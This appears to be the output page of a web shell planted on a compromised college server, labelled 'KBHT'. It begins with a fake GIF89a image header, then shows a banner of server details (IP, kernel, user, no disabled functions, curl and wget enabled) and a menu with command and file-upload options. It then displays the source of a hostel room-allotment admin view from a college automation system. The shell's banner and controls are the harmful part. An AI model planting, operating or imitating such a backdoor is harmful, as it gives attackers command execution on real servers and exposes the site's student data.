GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.119.133.138
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../web/../cas/application/views/admin/hostel/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../web/../cas/application/views/admin/hostel/allotRoomToStudent.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Student Room Allotment | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">     
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/utils.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body>
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item active" aria-current="page">Hostel</li> 
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/HostelConfig/roomAllotments"); ?>">Student Room Allotment Management</a></li>                            
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/HostelConfig/allotRoomToStudent"); ?>">Student Room Allotment</a></li>                            
                        </ol>
                    </nav>
                    <section class="forms">
                        <div class="card card_border py-2 mb-4">
                            <div class="cards__heading">
                                <h3><i class="fa fa-user"></i> Student Room Allotment</h3>
                            </div>
                            <div class="card-body">

                                <?php if (validation_errors() != false) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <?php echo form_open(site_url('admin/HostelConfig/allotRoomToStudent'), ['name' => 'studentAllocationFrm', 'id' => 'studentAllocationFrm']); ?>
                                <fieldset>
                                    <legend>Session, Course, Semester & Room Type Info</legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="session" class="input__label">Session *</label>
                                            <select id="session" name="session" class="custom-select">
                                                <option value="">Select Session</option>
                                                <?php foreach ($sessions as $session) { ?>
                                                    <option <?php echo ($selectedSession == $session->session_id ) ? "selected" : ""; ?> style="color: <?php if ($session->session_status == "C") echo "green"; ?>" value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="subjectCourse" class="input__label required">Course</label>
                                            <select id="Course" name="Course" class="custom-select">
                                                <option value="">-Select Course-</option>
                                                <?php foreach ($courses as $course) { ?>
                                                    <option value="<?php echo $course->course_id; ?>" <?php echo set_select("Course", $course->course_id); ?>><?php echo stripslashes($course->course_name); ?></option>
                                                    <?php
                                                }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="CourseSemOrYear" class="input__label required">Semester/Year</label>
                                            <select id="CourseSemOrYear" name="CourseSemOrYear" class="custom-select">
                                                <option value="">-Select Semester/Year-</option>
                                            </select>
                                        </div>
                                        <div class="form-group  col-sm-3">
                                            <label for="route" class="input__label required">Select Room Type *</label>
                                            <select name="route" id="route" class="custom-select">
                                                <option <?php echo set_select("route", ""); ?> value="">select Room Type</option>
                                                <?php
                                                for ($i = 0; $i < sizeof($routes); $i++) {
                                                    $ct = $routes[$i];
                                                    ?>
                                                    <option <?php echo ($selectedHead == $ct->fhom_id) ? "selected" : ""; ?> <?php echo set_select("route", $ct->fhom_id); ?> value="<?php echo $ct->fhom_id; ?>"><?php echo $ct->fhom_name; ?></option>
                                                    <?php
                                                }
                                                ?>
                                            </select>
                                        </div>  
                                        <div class="col-md-12">
                                            <label for="filterSubmitBtn" class="input__label"></label>
                                            <button id="filterSubmitBtn" name="filterSubmitBtn" type="Submit" class="btn btn-sm btn-warning pull-right">Apply Filter & Fetch Student-Set List&nbsp;<i class="fa fa-filter"></i><i class="fa fa-arrow-right"></i></button>
                                        </div>
                                    </div>
                                </fieldset>
                                <?php echo form_close(); ?>
                                <?php if (sizeof($allotmentData) > 0) { ?>
                                    <fieldset id="studentList">
                                        <legend>Student(s) List</legend>
                                        <div class="form-row">
                                            <table style="width:100%" class="table table-warning">
                                                <tr>
                                                    <th>Sr. No</th>
                                                    <th>Roll No.</th>
                                                    <th>Name</th>
                                                    <th>Course</th>
                                                    <th>Semester</th>
                                                    <th>Session</th>
                                                    <th>Action  </th>
                                                </tr>
                                                <tbody id="studentDetails">
                                                    <?php
                                                    for ($i = 0; $i < (sizeof($allotmentData)); $i++) {
                                                        $record = $allotmentData[$i];
                                                        ?>
                                                        <tr>
                                                            <th><?php echo ($i + 1); ?></th>
                                                            <td><?php echo stripslashes($record->tspi_rollNumber); ?></td>
                                                            <td><?php echo stripslashes($record->tspi_name); ?></td>
                                                            <td><?php echo stripslashes($record->course_name); ?></td>
                                                            <td><?php echo $this->StudentManagement->getStudentCurrentSectionSemesterInfoBy($record->tspi_id)->result()[0]->tsssi_semester; ?></td>
                                                            <td><?php echo stripslashes($record->session_name); ?></td>                                                                                      
                                                            <td><button onclick="allotroom('<?php echo $record->tspi_id; ?>')" class="btn btn-primary" tooltip="tooltip" data-toggle ="Click To Allocate Room">Allocate <i class="fa fa-arrow-right"></i></button></td>
                                                        </tr>
                                                    <?php } ?>
                                                </tbody>
                                            </table>
                                        </div>
                                        <span id="spnErr" style="color:#FF0000;font-size:15px;font-weight: bolder;"></span>
                                        <div class="form-row">

                                        </div>
                                    </fieldset>
                                <?php } ?>
                            </div>

                        </div>
                    </section>
                </div>
            </div>
        </section>

        <!-- Edit Allot Modal Starts -->
        <div class="modal fade" id="allotroom" role="dialog" data-backdrop="static" data-keyboard="false">
            <div class="modal-dialog modal-lg">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title">Allocate Room To Student</h4>
                        <button type="button" class="close" data-dismiss="modal">&times;</button>
                    </div>
                    <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;">
                        <?php echo form_open(site_url('admin/HostelConfig/saveRoomAllocationDetails'), ['id' => "roomAllocateFrm", "name" => "roomAllocateFrm"]); ?>
                        <fieldset>
                            <div class="form-row">
                                <div class="form-group  col-sm-9">
                                    <label for="room" class="input__label required">Select Room</label>
                                    <select name="room" id="room" class="custom-select">
                                        <option <?php echo set_select("room", ""); ?> value="">-Select Room-</option>
                                    </select>
                                </div>
                                <div class="form-group col-sm-3">
                                    <button class="btn btn-primary btn-block" id="allotBtn" style="margin-top: 27px;">Allotcate</button>
                                </div>
                                <input type="hidden" name="hostelHead" value="<?php echo $selectedHead; ?>">
                                <input type="hidden" name="session_id" value="<?php echo $selectedSession; ?>">
                                <input type="hidden" name="selected_tspi_id" id="tspi_id" value="">
                            </div>   
                        </fieldset>
                        <span id="spnErrRoom" style="color:#FF0000;font-size:15px;font-weight: bolder;"></span>
                        <?php echo form_close(); ?>
                        <br>
                    </div>    
                    <div class="modal-footer">
                        <button class="btn btn-danger" data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!-- Edit Allot Modal Ends -->
        <script>
            $("#session").change(function () {
                $("#studentList").css("display", "none");
                $("#allotBtn").prop("disabled", "disabled");
                $("#Course").val("");
                $("#CourseSemOrYear").val("");
            });

            $("#Course").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                $("#studentDetails").html("");
                $("#studentList").css("display", "none");
                $("#allotBtn").prop("disabled", "disabled");
                $("#vehicle").prop("disabled", "disabled");
                if ($(this).val().trim() !== "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/HostelConfig/getCourseSemesterOrYearForDropDown/'); ?>',
                        data: {course_id: $("#Course").val(), selectedSemOrYear: '', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var semesterOrYearInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#CourseSemOrYear").html(semesterOrYearInfo.sem_year_list);
                            csrfHash = semesterOrYearInfo.csrfHash;
                            roomAllocateFrm.csrf_token.value = csrfHash;
                            studentAllocationFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#CourseSemOrYear").html("<option value=''>Select Semester/Year</option>");
                    $("#studentDetails").html("");
                }
            });
            $("#allotBtn").on("click", function () {
                if ($("#room").val().trim() === "") {
                    $("#spnErrRoom").html("Please Select Room To Allocate.");
                    event.preventDefault();
                } else {
                    $("#spnErrRoom").html("");
                    $("#roomAllocateFrm").submit();
                }
            });

            $("#route").on("change", function () {
                $("#studentDetails").html("");
            });

            function allotroom(tspi_id) {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }

                $.ajax({
                    url: '<?php echo site_url('admin/HostelConfig/getNonAllocatedRoomsByRoomHead/'); ?>',
                    data: {head: $("#route").val(), session: $("#session").val(), csrf_token: csrfHash},
                    type: 'POST',
                    success: function (result) {
                        var rooms = JSON.parse(result);
                        $(".se-pre-con").fadeOut("slow");
                        $("#room").html(rooms.rooms);
                        csrfHash = rooms.csrfHash;
                        roomAllocateFrm.csrf_token.value = csrfHash;
                        studentAllocationFrm.csrf_token.value = csrfHash;
                        $("#tspi_id").val(tspi_id);
                        $("#allotroom").modal('show');
                    }
                });

            }

            $(document).ready(function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($("#Course").val().trim() !== "") {
                    $.ajax({
                        url: '<?php echo site_url('admin/HostelConfig/getCourseSemesterOrYearForDropDown/'); ?>',
                        data: {course_id: $("#Course").val(), selectedSemOrYear: '<?php echo $selectedSemOrYear; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var semesterOrYearInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#CourseSemOrYear").html(semesterOrYearInfo.sem_year_list);
                            csrfHash = semesterOrYearInfo.csrfHash;
                            roomAllocateFrm.csrf_token.value = csrfHash;
                            studentAllocationFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#CourseSemOrYear").html("<option value=''>Select Semester/Year</option>");
                    // $("#studentDetails").html("");
                }
            });
        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023